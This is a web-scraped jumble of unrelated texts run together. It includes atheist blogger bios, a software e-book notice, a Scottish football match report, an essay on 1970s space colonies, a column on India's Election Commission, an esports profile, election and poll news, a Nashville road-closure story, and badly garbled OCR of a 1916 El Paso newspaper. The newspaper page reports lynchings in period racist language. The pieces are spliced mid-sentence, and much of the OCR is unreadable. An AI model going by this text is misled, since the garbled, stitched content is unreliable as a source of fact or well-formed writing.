Neil: I teach High School Geometry, I’m a father of five, and I write for Patheos under the name Godless in Dixie. I’m a native Southerner from Mississippi, born and raised Southern Baptist, educated at a Reformed seminary, and a former Christian writer now turned secular humanist. How I became so is a long story but the shortest way to put it is that after 20 years of passionately investing in my faith, I found in my mid-30’s that the reasons I had for believing as a younger man no longer convinced me the way they once did. To my mind the biblical God was a personal one with whom I was called to have a discernible relationship, but in the end my experience led me to conclude that I was the one supplying both sides of the relationship. Once I decided to look for something outside of myself and my own mind as tangible evidence for the presence and activity of this person, I came at last to the conclusion that we made him up. Incidentally I remain open to being convinced otherwise. This is just the most reasonable conclusion to me at present.
JT: I’m an atheist blogger and speaker for a living by the grace of Patheos (and all my lovely readers/fans). I have a wonderful family life, I’m married to the woman of my dreams. My parents are my heroes and I have a curmudgeonly brother, who is always there when I need him, who I love very much. I used to be an opera singer. Here’s a video from when I was the musical guest for Kansas City Oasis a few months back.
I was converted to Christianity in high school by two of my [public school] teachers, which I now know was illegal. I was a Christian for about five years (and a pretty passionate one), but I had only read/encountered excerpts of the bible (like most Christians), some of which began to strike me as not very sensible or moral (scientific errors in Genesis, the barbarity of the OT, etc.). So I sat down and did my first full read through of the bible (I’ve done more since). Upon turning over the last page I said, “No, I don’t believe any of this.”By Kore Nordmann, first published at Fri, 30 Jun 2017 10:22:20 +0200
Download our free e-book "Crafting Quality Software" with a selection of the finest blog posts as PDF or EPub. You can also buy a printed version of the book on Amazon or on epubli.
Crafting Quality Software 2.0
The second version of our book "Crafting Quality Software – Gems From the Qafoo Blog" is ready and available for download from now on. In the recent months we wrote a lot about refactoring techniques, technical patterns and workflows. This is a topic very close to our hearts and we feel that an update of our book was due.
Crafting Quality Software – Gems From the Qafoo Blog
This book is a curated collection of blog posts from the Qafoo Team Blog. Over the time we created many blog posts focussing on the topics of Clean Code, Object Oriented Design, Testing, Refactoring and Software Architecture. To make it easier for you to consume those blog posts we re-structured them and collected them in this book. The most important changes are in the Refactoring chapter which now contains the following topics:
You can download the book right now. You can also buy a printed version of the book at Amazon or directly at ePubli. Our customers always get this book as a part of our trainings and workshops.
Download our free e-book "Crafting Quality Software" with a selection of the finest blog posts as PDF or EPub. You can also buy a printed version of the book on Amazon or on epubli.
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CommentsJames Tavernier curls home a brilliant free-kick to score for Rangers
James Tavernier curled in a sublime free-kick from wide on the left to sink Hibernian and extend Rangers' winning run under Mark Warburton to six games.
The right-back scored his fourth of the season, and his second set-piece strike against Hibs.
Kenny Miller narrowly failed to add a second as his toe-poke fell kindly for Mark Oxley in the away goal.
Jason Cummings and Liam Henderson missed excellent Hibs chances, a lack of ruthlessness proving their undoing.
Against the backdrop of the Scott Allan transfer saga, barbed comments from both managers, and a 6-2 Scottish Challenge Cup drubbing inflicted by the hosts a month ago, Alan Stubbs' team acquitted themselves well at Ibrox.
They endured a shaky start, though, as Fraser Fyvie's over-hit backpass on 10 minutes did goalkeeper Oxley few favours.
The stopper heaped pressure on himself with a heavy touch that allowed Martyn Waghorn to block his clearance.
Barrie McKay failed to capitalise, but minutes later Rangers threatened again, as Miller's incisive run from a throw-in caught the Hibs defence on the hop.
From the resultant corner, Waghorn should have powered his header beyond Oxley, rather than over the crossbar.
Wes Foderingham in the Rangers goal followed Oxley's lead when his slack pass was seized upon by Martin Boyle, but the winger dallied, reluctant to take on the strike with his left foot, allowing Rangers to clear.
Harnessing the energetic passing game that typifies the early days of Warburton's reign, the hosts steamed downfield on the break, and captain Lee Wallace had his shot turned round the post by Liam Fontaine.
Hibs, in the main, coped well with Rangers' midfield industry, and looked most threatening on the counter-attack, with new signing Henderson driving them forward and adding touches of quality.
Jason Cummings' volley is blocked by Rangers captain Lee Wallace
His deflected cross found Cummings, but the young striker's hooked volley was brilliantly blocked by Wallace from close-range.
Waghorn and Cummings traded blows again as half-time loomed, the ex-Wigan forward seeing his trickling low shot cleared off the line by David Gray, before Cummings, played in by Boyle, passed up a fantastic chance in scuffing his effort straight at Foderingham.
With Rangers emerging from the interval imbued with verve and energy, Oxley came to Hibs' rescue, diving low to his left to tip Jason Holt's volley round the post after Fontaine had blocked the midfielder's initial effort.
Nicky Law and John McGinn tussle for possession at Ibrox
Fontaine made a vital intervention again in challenging Miller in the box, before his header was parried away at the other end by Foderingham.
Henderson passed up the chance of the match when Cummings on the break jinked beyond the stretched Rangers defence, creating a two-on-one, and squared for his new teammate.
The pass from Cummings was soft, but the Celtic loanee ballooned his effort wildly over the bar.
It would prove a crucial error. Barely two minutes later, Rangers were ahead, as Tavernier swung in his magnificent, bending free-kick from a seemingly impossible angle over Oxley's outstretched fingertips.
Henderson fluffed his lines again when Dan Carmichael found him in space in the box minutes later, and as the second half wore on, Miller could not cap a flowing Rangers move with a killer second goal.
Stubbs threw on striker Dominique Malonga in an attempt to salvage a late draw he might feel Hibs' play warranted, and Lewis Stevenson had one final chance for Hibs to level in stoppage time, but the ball was nicked from his toes at the vital moment.Story continues after the gallery.
In a wonderful bit of mental flexibility, space colonies had a distinct ecotopian bent. I mean the latter adjective to refer specifically to Ecotopia, Ernest Callenbach's 1975 fantastical voyage into a near-future in which the upper west coast has seceded to become a paradise for lovers of what was known as "appropriate technology." (Check out those floating wind turbines!) Appropriate technology was supposed to be scaled to human-needs and not energy intensive, though the term quickly came to encompass a bunch of other stuff that was mainly united by its lack of "high technology."
It's fascinating that this vision of appropriate technology, popularized by E.F. Schumacher in a book called Small Is Beautiful, was so easy to beam up to space with so many of its particulars attached. There's even a "human-powered airplane" in one of the illustrations.
It's not actually hard to see why such a thing was possible, this marriage of high and appropriate technology. Conceptually, the colonies, while they required massive resources to build, would have been self-contained human communities without easy access to Earth's supply chains. They would have been frontier towns in space and as such would have had to prize self-reliance, closed-loop design, and alternative energy. Not only that, but the space colonies would have run satellite solar power stations (an idea that still kicks around now and again), providing them with a reason to be and an income -- and obviating the need to develop the more high-fallutin' forms of nuclear power like breeder reactors.
Practically, the space colony and counterculture met at the Stewart Brand-led magazine, CoEvolution Quarterly. Brand gave Gerry O'Neill, the technical director of that NASA design study, room to make his case in the pages of the "peculiar magazine" known for its brilliant countercultural quirkiness about decidedly more earthly issues. Here's O'Neill selling his plan to CQ's readers:
That frontier can be exploited for all of humanity, and its ultimate extent is a land area many thousands of times that of the entire Earth. As little as ten years ago we lacked the technical capability to exploit that frontier. Now we have that capability, and if we have the willpower to use it we can not only benefit all humankind, but also spare our threatened planet and permit its recovery from the ravages of the industrial revolution.
Some of the magazine's readers thought the plan was nuts, so Brand gave them a chance to respond within the pages. Some of the quotes are interspersed with the illustrations of the space colonies that top this post.
Like so many visions of the future, the space colony model as promoted by O'Neill tells us as much about 1975 as it does about low-earth orbit's ultimate potential. And somehow, I suspect that's why Brand gave the idea so much play.It was in 1991. PV Narasimha Rao had taken over as the Prime Minister of India and had to be elected to the Lok Sabha to continue in the post. The constituency he had chosen to get elected was Nandyal, in Andhra Pradesh’s Kurnool district. There were some reports of Rao’s supporters going overboard with his campaign that perhaps violated the ‘moral code of conduct’. This caught the eye of the Election Commission, headed then by the unparalleled TN Seshan. Suddenly there were reports that Seshan was threatening to cancel the elections. If the elections were cancelled, Rao would have had to step down from the PM’s position, for the time for him to get elected to the house was running out.
At the height of such tension one day, I was sitting with Seshan at his home on Pandara Road. The phone rang. Seshan pressed the reply button on the speaker phone and I could hear the voice of the powerful private secretary to Rao on the other side: Sir, this is ****, PM would like to speak to you. I looked on in anticipation, and excitement, for I was aware of the stories doing the rounds. Barely did I hear the PMO’s hold-on music, I heard Seshan count. 1 – 2 – 3. Click. He disconnected the line. I was dumbstruck. That…that was the Prime Minister, I said, almost in shock.
Rajesh, I am the Chief Election Commissioner of India, NOT government of India, Seshan retorted angrily to me in his booming voice. Sure enough, within a minute the phone rang again and the same push-reply-button routine followed. It was Rao himself on the line. Seshan immediately picked up the handset after this and I could hear only one side of the conversation where he told Rao about the wrong things his supporters were indulging in. I don’t know what Rao told him, but what followed since is common knowledge.
Rao didn’t campaign in his constituency and even told his supporters to be very low key. He was subsequently elected from Nandyal with a victory margin of over half a million votes.
Why am I narrating this incident? Because it shows what a powerful, independent institution can do for this nation’s democracy.
Now, compare that with the meek response to the audacious defiance to the diktats of the present Election Commission by the nation’s law minister, Salman Khurshid. The minister, during his campaign in the politically sensitive and important state of Uttar Pradesh, had promised that 9 per cent of quota within the 27 per cent backward caste reservation would be for Muslims. The move drew a quick response from the EC, which censured him. But instead of being careful, he repeated his promise at another rally and even dared EC by saying: EC can hang me if it wants to, but no one |
Group of Death. He won Lone Star Clash against Polt. He flopped in a tournament crafted from his dreams, the ZvZfest that was TWOP. He won WEC against Snute, after advancing from a KeSPA-less qualifier. Somehow, he qualified for Blizzcon. There was no grand scheme, no destiny, no architect. Only Jaedong and a future undetermined.Perhaps there was a sense of anticipation for his reemergence as a title contender, especially among the astute who had noticed the cycle. Northcon was the inauguration that wasn't, and 2014 has proven that the Tyrant does not live by the rhythm of some ethereal force. He has been freed from the chains of expectations, and only he can determine what happens next. Perhaps he will return to Korea once his current contract ends and play in Proleague where his career began. Perhaps he will stay with Evil Geniuses and continue to tour the world as he prioritizes life experiences. Perhaps it will be something else entirely, a path unknown. One thing is certain: Jaedong will fight.Jaedong is the paragon of perseverance, the saint of stubbornness. There is no mountain he is unwilling to climb, and there is no barrier he is unwilling to break. He has become a role model in a sit-down sport because of a work ethic incomparable. His life as a progamer has seemed like a bizarre loop, but it appears that the cycle has been broken. He is no longer the best player in the world, no longer a kong, no longer an invalid. He is just Jaedong, last year's Blizzcon runner up. And he knows that there is only one way to do better than that.LYNCHBURG, Va. (WSET) - The Virginia Department of Elections website crashed Monday evening in the hours leading up to the online voter registration deadline at 11:59pm.
ABC 13 reached out to numerous representatives with the department for additional information, and within minutes we got a call from Virginia Department of Elections Commissioner Edgardo Cortés.
"We have been overwhelmed, the level of interest has given us record-high levels of activity," Cortés says.
He adds that the department staff has been working around the clock for the last several weeks in anticipation of the online voter registration.
"Everyone is working at full capacity, we have folks in and out of Richmond trying to work on this" says Cortés. "We even brought an additional server online on Thursday. But this is unprecedented."
At the website's peak Sunday, Cortes says the website logged 350 visitors a second.
By Monday evening at 5pm, the department's website had already broken its record for most amount of online registrations in Virginia in one day.
Despite the technical difficulties, Cortés tells us that there is no legal authority in the code of Virginia to extend the online voter registration.
"The books close at midnight tonight," said Karen Patterson with Lynchburg General Registrar Elections in an earlier interview. "So if you didn't get to register today and you think you can register tomorrow, you can't do that."
We will continue to update this developing story with new information as we get it.2016 Colorado Presidential and US Senate Survey Results
Magellan Strategies has released the results of a live landline and cell phone survey of 500 likely 2016 general election voters in Colorado. The interviews were conducted October 12th to 13th, and the survey has a margin of error of +/- 4.38% at the 95 percent confidence interval.
Presidential Ballot Test
Our latest survey of likely Colorado voters finds Hillary Clinton leading Donald Trump by 5 points, with 40% supporting Hillary Clinton and 35% support for Donald Trump. Libertarian candidate Gary Johnson has 12% support, Green Party candidate Jill Stein has 5% support, 2% support “some other candidate” and 6% are undecided. Comparing these results to our August 29th survey, we find support for Hillary Clinton has grown by 6 points among Republican voters, and by 5 points among voters 65 and older, a very Republican-leaning group. However, it appears Hillary Clinton is being held back from opening up a larger lead over Donald Trump by a 2-point bump in support for Jill Stein among all voters and a 5-point increase among Democrat voters. Gary Johnson also continues to show 20% support among voters aged 44 and under, a Democrat leaning voter subgroup. Since our August survey, support for Donald Trump has declined by 5 points among Republican voters, 6 points among female voters and 2 points among seniors. The following table shows the ballot test results by voter subgroup.
Presidential Ballot Test by Voter Subgroup
Presidential Candidate Image Ratings
Among all voters, we find a 3-point decline in Hillary Clinton’s favorable rating from 40% to 37% since our August survey and a 7-point decline in Donald Trump’s favorability rating, dropping from 34% to 27%. Looking closer at the Republican voter subgroups, we see the bottom falling out of Donald Trump’s favorability rating with a 14-point decline among Republican voters, and a 15-point decline among senior voters aged 65 and older.
Hillary Clinton Image Rating by Voter Subgroup
Donald Trump Image Rating by Voter Subgroup
Implications for Down Ballot Republicans Who Do Not Support Donald Trump
To measure apparent frustrations among Donald Trump supporters toward Republicans that will not support his campaign, we asked Donald Trump supporters the following question:
“As a Donald Trump supporter, is there a chance that you will only vote for Donald Trump and no other Republican candidates, knowing that some Republicans in Washington and Colorado no longer support Donald Trump’s campaign?”
Among all 173 Donald Trump supporters, 59% responded yes, 33% responded no and 8% of voters were undecided. This data clearly demonstrates the difficult challenge down ballot Republican candidates are facing this cycle among members of their own political party. The margin of error for this question is +/- 7.41%.
U.S. Senate Ballot Test
Among all respondents, Democrat Michael Bennet currently has a 15-point lead over Republican Darryl Glenn, 47% to 32%. Green Party candidate Arn Menconi has 4% support, Libertarian candidate Lily Tang Williams has 3% support, 2% support “some other candidate” and 12% are undecided. Since our August survey, support for Michael Bennet among all voters has declined 1-point, from 48% to 47%, and support for Darryl Glenn has declined by 6 points, 38% to 32%. Similar to the Presidential ballot test, we find an increase in support for the Democratic candidate among Republican voters, with Michael Bennett’s support growing by 8 points among Republicans and 3 points among seniors. We also see a 14-point drop in support for Darryl Glenn among Republican voters. Finally, the percent of voters that are undecided has increased by 5 points. The following table shows the US Senate ballot test by voter subgroup.
U.S. Senate Ballot Test by Voter Subgroup
Summary
This survey finds a 5-point bump in support for Green Party candidate Jill Stein among Democratic voters. We question if these voters are former Bernie Sanders supporters who are just not ready to vote for Hillary Clinton, or if this is an outlier with our random sample interviewing a few more Green Party-leaning voters than normal. We were not surprised to find a 6% increase in support for Hillary Clinton among Republican voters and a 5% increase in support for Hillary Clinton among seniors (voters 65 and older) compared to our August survey.
The now-infamous 2005 videotape of Donald Trump has caused tremendous damage to his favorability rating, which has dropped 14 points among Republicans and 15 points among seniors. There is also evidence in the survey that the videotape has hurt down-ballot Republican candidates. US Senate candidate Darryl Glenn’s support has dropped 14 points among Republicans since August, yet there has been very little paid media coming from his campaign. The question is, are these survey results the early warning signs of moderate Republican voters simply refusing to support these two individual candidates, or the start of a larger exodus of Republican voters away from the Republican Party completely?
We will know the answer in 20 days.
Survey Weighting Decisions
The survey results are weighted to reflect the age, gender, and party turnout demographics of the 2012 Presidential election in Colorado. For purposes of consistency in comparing this survey to the August survey, we kept the demographic weights the same. However, now that mail ballots are being sent out this week in Colorado and ballot return data can be tracked, we will likely be adjusting our likely voter demographics weights in future surveys.
Survey Sample
The survey sample was randomly drawn from a Colorado voter file among households containing at least one registered voter. The survey topline and crosstab results are included in this document. Any questions regarding this survey or our methodology should be directed to David Flaherty. He can be reached at 303-861-8585 or by email at dflaherty@magellanstrategies.com.
Survey Commissioned By
This survey was not commissioned or paid for by any issue committee, campaign, individual, or independent expenditure group.
About Magellan Strategies
Magellan Strategies offers a wide array of services to candidate campaigns, ballot issue campaigns, government relations firms, trade associations, and local and county governments. Our services include polling, survey research, focus groups, voter data mining, voter data analysis, and campaign consulting and management. Our offices are located in Louisville, Colorado. To learn more about our company please visit http://www.MagellanStrategies.com or call 303-861-8585.Copyright by WKRN - All rights reserved
NASHVILLE, Tenn. (WKRN) - The Tennessee Department of Transportation's ambitious plan to replace eight of Nashville's worst bridges moves into a major phase next week.
Starting at 8 p.m. July 24 through 6 a.m. July 27, the south loop of Interstate 40 will be shut down. It will be the first road closure of the $62 million project.
The I-40 bridge is nearly 50 years old and has been in disrepair for years. In one incident, chunks of the bridge deck fell from the Charlotte Avenue bridge onto the road below.
No one was injured, but it did contribute to TDOT coming up with a plan to rehab and replace the eight bridges over the next year.
"We can't have that happen," TDOT spokeswoman Heather Jensen said. "This project is extremely aggressive, but we think we can do it because we have a great contractor."
Copyright by WKRN - All rights reserved In all, TDOT is planning for around 13 weekend closures between now and June 2016.
Copyright by WKRN - All rights reserved In all, TDOT is planning for around 13 weekend closures between now and June 2016.
Prefabricated materials will be moved into place during the weekend-long road closures.
In all, TDOT is planning for around 13 weekend closures between now and June 2016.
"We announced this in April and they have been working ever since with a few lane closures happening on the side roads," Jensen said.
More than 140,000 drivers use that stretch of I-40 every day, so the impact of the project will be on a massive scale.
TDOT has also worked with Metro Nashville's Office of Emergency Management to plan out alternate routes for emergency responders.
"We've attended multiple meetings on these closings and while we don't have specific detour plans in place, all of our personnel are aware of the construction and are being provided maps and times of closures so they can seek alternate routes," Nashville Fire Department Spokesman Brian Haas said in an email. "Our drivers know these roads very well and have multiple ways to get around."
Haas continued, "The construction will definitely be a bit of an inconvenience, but we're ready for it and patient care and fire responses shouldn't be affected."
TDOT said it is important for drivers to plan ahead and watch for road closure announcements over the coming weeks.
Weather could cause the delay or postponement of some road closures. A decision about a postponement will be made the Wednesday before a scheduled closure on the following Friday.
For more information on the road closures, click here.Newspaper Page Text
TODAY'S PRICES
Mcx n t-ilc cns "rate tills) 9 14
Mx an pf- s ir u tonales bills 17
CAait urren v Bar si er Han
v & H-tJT" jYi tiunttion! 56 Copper
$oif(.- rain hiEher Livestock
fctca ij STo-ks Irregular
HOME EDITION
HEATHER rORXCAST.
EI r and rt Trias, fair and colder;
New Mexico, lair, colder; Arizona, fair,
eoldrr.
LATEST NEWS BY ASSOCIATED PRESS
SINGLE COP? FIVE CENTS.
EL PASO. TEXAS, FRIDAY EVENING, JANUARY 21. 1916.
DELIVERED ANTWHERE SO CENTS A MONTH.
FOURTEEN PAGES TODAY.
REBELLION
ALARMS YUAN
IN CHINA
Five
v
V
Tae One Negro into Jail As
Excuse For Entry, Then
Overpower Officers.
CUT TELEPHONE
' WIRES AND FLEE
Tae Negroes, the Alleged
Slayers Of Sheriff; Hang
Them; Riddle Bodies.
ALBANY, GA Jan.!L-Fhe ne
groes taken from the "Worth
county Jail at Sylvester last
ight were hanged to one limb of a
tree on the outskirts of StarkvHIe, some
t me during the night. The bodies cqn-
w ring many bullet holes, were found
il i3 morning.
Forty or EO men acting with precision
t ok Xhe five negroes from the Jail and
s.ed awaj in automobiles.
The negroes were being held in con
ettion with the killing of sheriff
S"oreland of Xe county.
Get egroes By nunc.
Vt about 10 oclock last night sheriff
L i. Potts and his jailer at Syl ester
b ere awakened by four or five men who
a-nounced that they had captured a
egro and wanted to place him in JaiL
Tiey were admitted bearing a netn-o
l.crand vath ropes, Suspectfisg netbisfid
i- wiuroio naLcaea we smb. as iney
cilmjv loosened the bonds: Euddenlv
it-e visitors seized the officers and took
krrs to the cells. Several more au
i mobiles appeared, bearing other men
who Joined those In the JaiL
The negroes were rushed out, hun-
v eii into the machines and started
. -th- The officers were unable to tele-
- none ahead to stop the lynching party
be ausa several wires had been cut.
Sheriff Guarded In Ilathroom.
Only three of the men who took five
r egroes from the Jail here and lynched
i hem were seen hy sheriff I. A. potts.
The men brought a bound negro to
the door." the sheriff said, "and said
they wanted to i.eep him in Jail over
ight They pointed a pistol at me,
ok away my kevs and forced me into
he bathroom. Two guarded me and
Tie rther went into the JaiL In a little
hi I heard a shrill whistle My
.iptors suddenly left me and in a min-
j e or two I heard several automobile!
o.cg rapidly northward."
GENERAL WHO STARTED
AS PRIVATE IS DEAD
Philadelphia, Pa., Jan. ;L Brig. Gen.
x.wl. u rsnwnt.r TT o.i.i
ded'he- SHSSAt8- & IVI
d ed here today, aged 77. lie entered
i e army as a private in 1861. After
fie war he entered the regular army
and retired after 30 years of service.
Gen Carpenter commanded many
forts on the western frontier and saw
much service in various indian ware.
MORMON CHURCH BUILDING
IN EAST IS DYNAMITED
Cumberland, Md, Jan 21 A new
rurch being erected bv the congrega
tion of the Church of Latter Day
Saints at Buck Valley. Fulton county.
Pa, was blown op by dynamite early
today Bloodhounds were put on the
trail of the men believed to have com
mitted the crime. The church, which
has 40 members, was recently formed.
INCREASE OF 5 PERCENT
MADE IN TURPENTINE RATES
Austin. Tex, Jan 21. An Increase of
la percent was made todav bv the rail
road commission in its tariff on tur
pentine and resin, in carloads, and the
advance becomes effective on Feb 15.
The minimum weight per car was in
creased from 24.000 to 30.060 pounds.
The present special rates are retained.
GRIEACES OF MIM2RS
HEARD BV COMMITTEE'
Indlznapolls Ind., Jan 21 The'dele-
gates to the contention of thn ITnifo
Mine Workers devoted most of today
to hearing the report of the griev
ance committee on appeals front the
rank and file of the organization The
complaints deal largely with alleged
.injustices uune inaiviouats or local
unions bv officers, district or national
or b district or state organizations I
within the union.
To Nominate Directors
For Chamber of Commerce
PRIMARIES to select SO candidates for the directorate of the chamber
of commerce will be held this menin; at 8 ocIocV.
The former custom of nominating ih' directors Uunnp the primary
day has been changed by the new bylaws ami the Hat M 30 directors will
be nominated from the foor this evening at 8 ocloefc.
From the list of 30 nominees a directorate of 15 men, as provided for bv
the new bylaws, will be elected on January 28 as directors.
President R. B. Onidorff has issued a call for all members to attend the
meeting this evening, which will be held at the chamber of ceimneree.
The annual meeting, at winch the officers' rejiorts will be read, will be
held after the election next Friday night.
"Speak Loudly But Carry a Stuffed Club" -New U. S. Policy, Says Luke Wright
JEaI
The War At a Glance
N"
- EWSPAPEB. dispatches from
Vienna, by way of Switzer
land and Paris, report Aus
trian forces within 15 miles of
Scutari.
Teuton Claim 3,000,0X0 l'rlxoner
A Vienna estimate of the cap
tures by the Teutonic allies during
17 months of the war puts the num
ber of prisoners at nearlv 3,060,000,
with 10,000 big suns and 40,000
machine Runs, while 470,000 square
kilometers of hostile territorj hav e
been occupied.
Kli OF GREECE
SitfiS IT
London. Eng, Jan il English
newspapers are hastening to defend
the course of the allies, which has been
attacked Bv king Constantine. of
Greece, in his interview given the As
sociated Press
The Dally News, which makes the in
terview its main feature, under the
heading, "An angry outburst by the
king of Greece," also says of it edito
rially: "It is abundantly evident from the
Interviews granted by king Constan
tine. to German and American Journal
ists, that the business-Uke measures
the entente allies are taking for their
protection have inspired the king with
lively resentment. That is not alto
gether astonishing
"The conditions under which the al
lies are encamped and soon will be
fighting on neutral soil, are an anom
aly without parallel in modern war
fare and involve inevitable an attitude.
equally anomalous, toward the neutral
Ity oi ureeee.
Anart from th nccu- I V""""a" u lne cumraiuM ana ini.ro
,i?E..ODi k?.0" Iducer of the bill, declared that of
nation of the Saloniki zone, her rail
ways have been cut, bridges blown up.
certain of her islands borrowed and
consuls accredited to her put under
temporary arrest.
JlguBh factj Csmn'ot And need not be
disguised- They call lac so.defence
from the allies, as Greece has no one
to thank bnt herself
TEOTO
lUGEBBUnr
London Eng Jan. Jl Vn Amster
dam dispatch to the Central News says
that the total bootv of the Teutonic
allies during 17 months of the war is
summed up in Vienna as follows
Nearlr 3,00.000 prisoners 10.000
guns, while 470.000 square kilometers
of enem territory have been occupied.
AUSTRIA DENIES PEACE
PARLEYS BROKEN OFF
Vienna, Austria, Jan. 20, via London,
Eng, Jan 21 It is announced here
lual l"e press reports mai jauuieucgiu
! discontinued peace negotiations are
mat tne press reports mat Montenegro
unfounded.
What the Austro-Hungarian terms
"Will be. it is stated here, cannot yet be
published, but they will include the re
tention of Mount Lovcen.
A Home dispatch of Thursday said
Montenegro had informed Italy offi
cially that hostilities with Austria had
been resumed over the entire front
The foregoing Vienna dispatch, also
under Thursday's date, may have been
filed before the time of the announce
ment credited by Rome to the Monte
negrin government-
AUSTRIANS FORCE WAY
OVER INTO ALBANL
Paris. France. Jan 20 The Geneva
correspondent of the Tempe says that
according to dispatches from Vienna an
active renewal of military operations
has been undertaken b the Austrians
in Mnnteneerrn Detachments are re-
ported to be in Albania within 15 kilo
meters oi Scutari.
GERMANS REPULSE SMALL
-.-.--... nu nfTCCTAV TOinnc '
Al lAlfv Dl riUOOLrui lftUUfJ
Rerlln. Germanv. Jan 21. by wireless
to Sayville, L. 1. German troops have
been engaged only In minor activities
along the fronts of Russia, according
?? the esy repalse of small
to the announcement xoaay i ne siaie-
Russian detachments between Pinsk
and Czartorysk.
GERMANS BURNED 18,207
BELGIAN HOMES, REPORT j
Pans, France, Jan. 21 A dispateh I
from Havre says that a report has been
IrsumI bv the Belgian government rfv.
Incr 18.207 as the number of houses In
(Continued on race 2. Col. S)
IJuLi Jn& O
' -
MFOra HIATUS
HHSOON LACKING AT
Kegiment of Infantry For
Texas Guard is Assured;
More Artillery Planned.
Austin. Tex. Jan. 21 It Is now
practically certain that another regi
ment of infantry is to be added to the
force of the Texas National Guard,
which will make four regiments of in
fantry Since the agitation over the
question of increasing the organized
militia has been In progress, the adju
tant general's department has been re
ceiving many requests from various
portions of the state for permission to
organize companies of infantry
The guard now consists of the Sec
ond. Third and Fourth Texas infantry
regiments, and the new regiment which
is more than likely to be added, will be
designated as the First Texas There
are already two companies mustered
into the Guard as a nucleus for the new
regiment, at Lett ami at Dallas, and
another cpmpany Is to be mustered into
service attBonham within the next few
days.
There will also soon be three bat
teries of artillery in the Guard, one
now at Dallas, another is to he estab
lished at San Antonio and a third either
at San Antonio or Dallas.
ADVOCATE LITERARY TEST
TO RESTRICT IMMIGRATION
"Washington. D C Jan. 11 Only by
limiting immigration can high stand
ards of living and good wages be main
tained among American worklngraen,
Frank Morrison, secretary of the Amer
ican Federation of Labor, and repre
sentative Burnett declared in advocat
ing the literacy test bill today before
the house immigration committee.
Representative Burnett, who is
2.500.000 foreigners In the United Sta'es
onlv 35.000 were attemotinir to lern
English. Ignorant and unambitious, he
declared, they work cheaply, live in
cheaply, U
cToadftlojlS
.squalor and create
that
drive worjtingtnen from a xammunity.
"A 'wtfrkingrmirt' taia'Vigy-H-rTr
Toungstowrt for no other reason than
the contaminating influences that these
foreign laborers created there." said
Mr Burnett. "And what decent, self
respecting merican. Irishman or Ger
man would stand, for such conditions'"'
ESCAPED CONVICTS ROB
DEPOT AND SECURE ARMS
Little Rock, Ark.. Jan 21 Convicts
who escaped from the state penal farm
at Cummins. S5. miles from here
Wednesdav night, robbed the depot at
Moscow. Ark, 15 miles from Cum
mins Thursday night and secured arms
and ammunition shipped to a hardware
store at that place
Twentv three convicts escaped. Only
four hae been captured.
The 50 guards searching the woods
have been given orders that Lee Blount,
oonicted of murder. "Blackie" Will
iams and Charles Owens, also murder
ers, be taken dead or alive.
Rewards for "Blacklo" Williams alone
are said 'to total 315,000 in a half dozen
states He was a member or the Frank
Miller-William La Trasse gang and has
still to serve a 32 jear sentence for
murder in Kansas.
STATE AID EXTENDED TO
MORE THAN 1000 SCHOOLS
Austin. Tex.. Jan 21 State aid to
1054 schools distributed in 151 counties
of Texas has been extended by the state
board of education out of the $1,000,000
appropriation made b) the last legis
lature for rural and country schools,
according to announcement made by
Prof. W F Dought. state superin
tendent of public instruction.
Out of tlie million dollars appro
priated $500,000 became available for
this fiscal ear. and superintendent
Doughty says that approximately
$400 000 has already been distributed
to the country schools.
COL HOUSE IS IN PARIS
ON HIS WAY TO BERLIN
Paris, France. Jan. 21 Col K M
House, accompanied by his wife, is pro
ceeding by automobile 'rora Bologne to
Paris and is expected here toda. Col
and Mrs. House will be the guests of
u - oiiixiy. uic yuuciiLAii.aiituaooci-
oor to rTance.
Vccordlnir to nresent arrangements.
CoL House will leave here for Switzer
land on Sunday, presumably to visit
Berlin and Vienna. He is to return in
two or three v. eeks- and then meet the
important personages of the French
government. The French press is man
ifesting much interest in his mission.
MIAMI RESIDENT KILLED;
WOMAN UNDER ARREST
Miami, Ariz.. Jan. 21 Harlev Gunn.
town pound master, 26 jears old. was
killed bj a bullet fired through the
brain while in the room of Frankie
Dunbar, a woman of the restricted dis
trict. The -woman was placed under ar
rest. Despite the nature of the wound,
Gunn lived two hours. He was moved to
a rooming house where he died The
shooting is said to have followed a
quarrel which began when Gunn told
the -woman he was planning to leave
town She denied having shof him.
TEXAS COMPANY ADDS
$7,000,000 TO CAPITAL
Austin. Tex, Jan 21 An amendment
to the charter of the Texas companv
of Houston, -nas today approved by the
secretary of state's department and
filed. It povides for an increase in the
companVs capital stock from $30,000,000
to $37,000,000
AMJLCII IIBKLKCTEII VUDITOIt
OF THE rlMSO'N COMMISSION
Austln, Texas, Jan. 21 Jas. P
Welch, of Huntsvllle, was reelected
auditor of the prison commission today
V jta.1 1
BORDER
Gen. Luis Torres Telegraphs
From Chihuahua City a
Denial of the Report.
CARRANZA BACK
AT QUERETARO
Campaign Is Started Against
Argumedo's Band By the
Carranza Officials.
ND confirmation of the reported
capture of Gen. Francisco Villa
was to be had in Bl Paso or
Juarez up to 11.30 Friday morning,
with a flat denial of the truth of such
report wired to the border by Gen. Luis
Herrera late Thursday night.
No further details of the matter were
received by American mining interests
here Friday forenoon, although urgent
dispatches to the Chihuahua state cap
ital asked for more information. Gen.
Gabriel Gavira, commanding the Juarez
garrison, declared Friday morning that
he had nothing further on the subject.
Mexican consul Andres G. Garcia, al
though he tried to get more specific
details on the reported capture of the
northern chieftain, stated Friday at 10
a m. that he was none the wiser than
lie had been all Thursday evening
Enrique Perez Rul. former private
secretary to Gen. Villa, in El Paso, de
clared Fridav morning that the ontB
way Vnia could ba-captured. in his
opinion. afi.frT, Iffiftf""; " hl T"
"dJatr"bodflmlrarana that? he did not
suspect any such state of affairs close
to Villa which would permit of that
particular thing coming to pass. Rul
-was inclined to doubt very seriousiv
the truth of the report of villa'e cap
ture El Paso simmered and boiled Thurs
day night and Friday morning, and dis
cussion of the reported capture was the
principal topic in El Paso's streets and
hotel lobbies, but no definite word was
ouched for in an quarter Consensus
ui upiiiiuu tt iimi (muur uuu ruiuui t
only was the foundation for the report,
and dlsoelfef In tne possibility oi such
a capture was expressed practically
unanlmouslv.
Train la Derailed.
A train from Chihuahua city, which
was derailed south of Moctezuma early
in the morning of Thursday, reached
the border at 5 oclock Friday morning,
according to Mexican consulate ad
vices. Got Ignacio Ennquez was reported
by the consulate to be due In Juarez by
special train from the Chihuahua capi
tal at 4 oclock in the afternoon. Noth
ing on the detail of his business was
vouchsafed or brought out by inquiry
train for Chihuahua city nas
scheduled to leae Juarez at 8 p. m,
carrying passengers and freight.
nxecnllons Denied.
Word from Gen Jacinto Trevino,
dated Thursday night, declared that no
executions had taken place in Chihua
hua cit that day. and denied bluntly
